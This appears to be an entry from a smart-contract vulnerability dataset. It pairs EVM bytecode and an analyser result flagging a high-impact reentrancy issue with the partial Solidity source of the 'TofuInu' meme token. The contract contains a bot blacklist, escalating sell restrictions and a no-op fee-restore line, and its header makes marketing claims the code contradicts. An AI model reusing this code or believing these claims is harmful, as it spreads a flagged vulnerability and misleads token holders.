ffffffffffffff161415611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d906135d6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161185491906136f6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c890613696565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193890613536565b60405180910390fd5b60008111611984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197b90613676565b60405180910390fd5b61198c610ead565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119fa57506119ca610ead565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3457601660149054906101000a900460ff16611a8957611a1b610ead565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7f90613556565b60405180910390fd5b5b601754811115611ace576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac590613596565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b725750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba8906135f6565b60405180910390fd5b6008544311158015611c105750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c6a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d00576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dad5760185481611d6284610c64565b611d6c919061382c565b10611dac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da3906136b6565b60405180910390fd5b5b6000611db830610c64565b9050600060195482101590506017548210611dd35760175491505b808015611ded5750601660159054906101000a900460ff16155b8015611e475750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5d575060168054906101000a900460ff165b8015611eb35750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f095750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3157611f1782612402565b60004790506000811115611f2f57611f2e47612299565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fdb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209c5760009050612223565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121475750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215f57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561220a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222257600b54600d81905550600c54600e819055505b5b61222f848484846126fc565b50505050565b600083831115829061227d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122749190613514565b60405180910390fd5b506000838561228c919061390d565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e960028461272990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612314573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236560028461272990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612390573d6000803e3d6000fd5b5050565b60006006548211156123db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d290613576565b60405180910390fd5b60006123e5612773565b90506123fa818461272990919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612460577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561248e5781602001602082028036833780820191505090505b50905030816000815181106124cc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256e57600080fd5b505afa158015612582573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a69190612f83565b816001815181106125e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264730601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611696565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126ab959493929190613711565b600060405180830381600087803b1580156126c557600080fd5b505af11580156126d9573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061270a5761270961279e565b5b6127158484846127e1565b80612723576127226129ac565b5b50505050565b600061276b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129c0565b905092915050565b6000806000612780612a23565b91509150612797818361272990919063ffffffff16565b9250505090565b6000600d541480156127b257506000600e54145b156127bc576127df565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f387612a85565b95509550955095509550955061285186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aed90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293281612b95565b61293c8483612c52565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299991906136f6565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fe9190613514565b60405180910390fd5b5060008385612a169190613882565b9050809150509392505050565b600080600060065490506000683635c9adc5dea000009050612a59683635c9adc5dea0000060065461272990919063ffffffff16565b821015612a7857600654683635c9adc5dea00000935093505050612a81565b81819350935050505b9091565b6000806000806000806000806000612aa28a600d54600e54612c8c565b9250925092506000612ab2612773565b90506000806000612ac58e878787612d22565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612235565b905092915050565b6000808284612b46919061382c565b905083811015612b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8290613616565b60405180910390fd5b8091505092915050565b6000612b9f612773565b90506000612bb68284612dab90919063ffffffff16565b9050612c0a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6782600654612aed90919063ffffffff16565b600681905550612c8281600754612b3790919063ffffffff16565b6007819055505050565b600080600080612cb86064612caa888a612dab90919063ffffffff16565b61272990919063ffffffff16565b90506000612ce26064612cd4888b612dab90919063ffffffff16565b61272990919063ffffffff16565b90506000612d0b82612cfd858c612aed90919063ffffffff16565b612aed90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d3b8589612dab90919063ffffffff16565b90506000612d528689612dab90919063ffffffff16565b90506000612d698789612dab90919063ffffffff16565b90506000612d9282612d848587612aed90919063ffffffff16565b612aed90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612dbe5760009050612e20565b60008284612dcc91906138b3565b9050828482612ddb9190613882565b14612e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1290613636565b60405180910390fd5b809150505b92915050565b6000612e39612e34846137ab565b613786565b90508083825260208201905082856020860282011115612e5857600080fd5b60005b85811015612e885781612e6e8882612e92565b845260208401935060208301925050600181019050612e5b565b5050509392505050565b600081359050612ea181613ef7565b92915050565b600081519050612eb681613ef7565b92915050565b60008083601f840112612ece57600080fd5b8235905067ffffffffffffffff811115612ee757600080fd5b602083019150836020820283011115612eff57600080fd5b9250929050565b600082601f830112612f1757600080fd5b8135612f27848260208601612e26565b91505092915050565b600081359050612f3f81613f0e565b92915050565b600081359050612f5481613f25565b92915050565b600060208284031215612f6c57600080fd5b6000612f7a84828501612e92565b91505092915050565b600060208284031215612f9557600080fd5b6000612fa384828501612ea7565b91505092915050565b60008060408385031215612fbf57600080fd5b6000612fcd85828601612e92565b9250506020612fde85828601612e92565b9150509250929050565b600080600060608486031215612ffd57600080fd5b600061300b86828701612e92565b935050602061301c86828701612e92565b925050604061302d86828701612f45565b9150509250925092565b6000806040838503121561304a57600080fd5b600061305885828601612e92565b925050602061306985828601612f45565b9150509250929050565b60008060006040848603121561308857600080fd5b600084013567ffffffffffffffff8111156130a257600080fd5b6130ae86828701612ebc565b935093505060206130c186828701612f30565b9150509250925092565b6000602082840312156130dd57600080fd5b600082013567ffffffffffffffff8111156130f757600080fd5b61310384828501612f06565b91505092915050565b60006020828403121561311e57600080fd5b600061312c84828501612f30565b91505092915050565b60006020828403121561314757600080fd5b600061315584828501612f45565b91505092915050565b6000806000806080858703121561317457600080fd5b600061318287828801612f45565b945050602061319387828801612f45565b93505060406131a487828801612f45565b92505060606131b587828801612f45565b91505092959194509250565b60006131cd83836131d9565b60208301905092915050565b6131e281613941565b82525050565b6131f181613941565b82525050565b6000613202826137e7565b61320c818561380a565b9350613217836137d7565b8060005b8381101561324857815161322f88826131c1565b975061323a836137fd565b92505060018101905061321b565b5085935050505092915050565b61325e81613953565b82525050565b61326d81613996565b82525050565b61327c816139ba565b82525050565b600061328d826137f2565b613297818561381b565b93506132a78185602086016139cc565b6132b081613b06565b840191505092915050565b60006132c860238361381b565b91506132d382613b17565b604082019050919050565b60006132eb603f8361381b565b91506132f682613b66565b604082019050919050565b600061330e602a8361381b565b915061331982613bb5565b604082019050919050565b6000613331601c8361381b565b915061333c82613c04565b602082019050919050565b600061335460268361381b565b915061335f82613c2d565b604082019050919050565b600061337760228361381b565b915061338282613c7c565b604082019050919050565b600061339a60238361381b565b91506133a582613ccb565b604082019050919050565b60006133bd601b8361381b565b91506133c882613d1a565b602082019050919050565b60006133e060218361381b565b91506133eb82613d43565b604082019050919050565b600061340360208361381b565b915061340e82613d92565b602082019050919050565b600061342660298361381b565b915061343182613dbb565b604082019050919050565b600061344960258361381b565b915061345482613e0a565b604082019050919050565b600061346c60238361381b565b915061347782613e59565b604082019050919050565b600061348f60248361381b565b915061349a82613ea8565b604082019050919050565b6134ae8161397f565b82525050565b6134bd81613989565b82525050565b60006020820190506134d860008301846131e8565b92915050565b60006020820190506134f36000830184613255565b92915050565b600060208201905061350e6000830184613264565b92915050565b6000602082019050818103600083015261352e8184613282565b905092915050565b6000602082019050818103600083015261354f816132bb565b9050919050565b6000602082019050818103600083015261356f816132de565b9050919050565b6000602082019050818103600083015261358f81613301565b9050919050565b600060208201905081810360008301526135af81613324565b9050919050565b600060208201905081810360008301526135cf81613347565b9050919050565b600060208201905081810360008301526135ef8161336a565b9050919050565b6000602082019050818103600083015261360f8161338d565b9050919050565b6000602082019050818103600083015261362f816133b0565b9050919050565b6000602082019050818103600083015261364f816133d3565b9050919050565b6000602082019050818103600083015261366f816133f6565b9050919050565b6000602082019050818103600083015261368f81613419565b9050919050565b600060208201905081810360008301526136af8161343c565b9050919050565b600060208201905081810360008301526136cf8161345f565b9050919050565b600060208201905081810360008301526136ef81613482565b9050919050565b600060208201905061370b60008301846134a5565b92915050565b600060a08201905061372660008301886134a5565b6137336020830187613273565b818103604083015261374581866131f7565b905061375460608301856131e8565b61376160808301846134a5565b9695505050505050565b600060208201905061378060008301846134b4565b92915050565b60006137906137a1565b905061379c82826139ff565b919050565b6000604051905090565b600067ffffffffffffffff8211156137c6576137c5613ad7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138378261397f565b91506138428361397f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387757613876613a79565b5b828201905092915050565b600061388d8261397f565b91506138988361397f565b9250826138a8576138a7613aa8565b5b828204905092915050565b60006138be8261397f565b91506138c98361397f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561390257613901613a79565b5b828202905092915050565b60006139188261397f565b91506139238361397f565b92508282101561393657613935613a79565b5b828203905092915050565b600061394c8261395f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139a1826139a8565b9050919050565b60006139b38261395f565b9050919050565b60006139c58261397f565b9050919050565b60005b838110156139ea5780820151818401526020810190506139cf565b838111156139f9576000848401525b50505050565b613a0882613b06565b810181811067ffffffffffffffff82111715613a2757613a26613ad7565b5b80604052505050565b6000613a3b8261397f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a6e57613a6d613a79565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f0081613941565b8114613f0b57600080fd5b50565b613f1781613953565b8114613f2257600080fd5b50565b613f2e8161397f565b8114613f3957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220271e52684673fb9d4c9c947d996230a3cc607f11d54338cd1f97aed0df13a74c64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 904 |
0xbdec5dc78c45462ba22715befbac086c8a7b52c5 | /**
TofuInu - Yummy.
t.me/tofuinu
TofuInu is a tasy community led memecoin.
Fair launch. 50% Burn. Stealth Launch.
100% Locked Liquidity + Ownership Renounced
No dev tokens.
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract TofuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"TofuInu t.me/tofuinu";
string private constant _symbol = "TOFU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 300000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
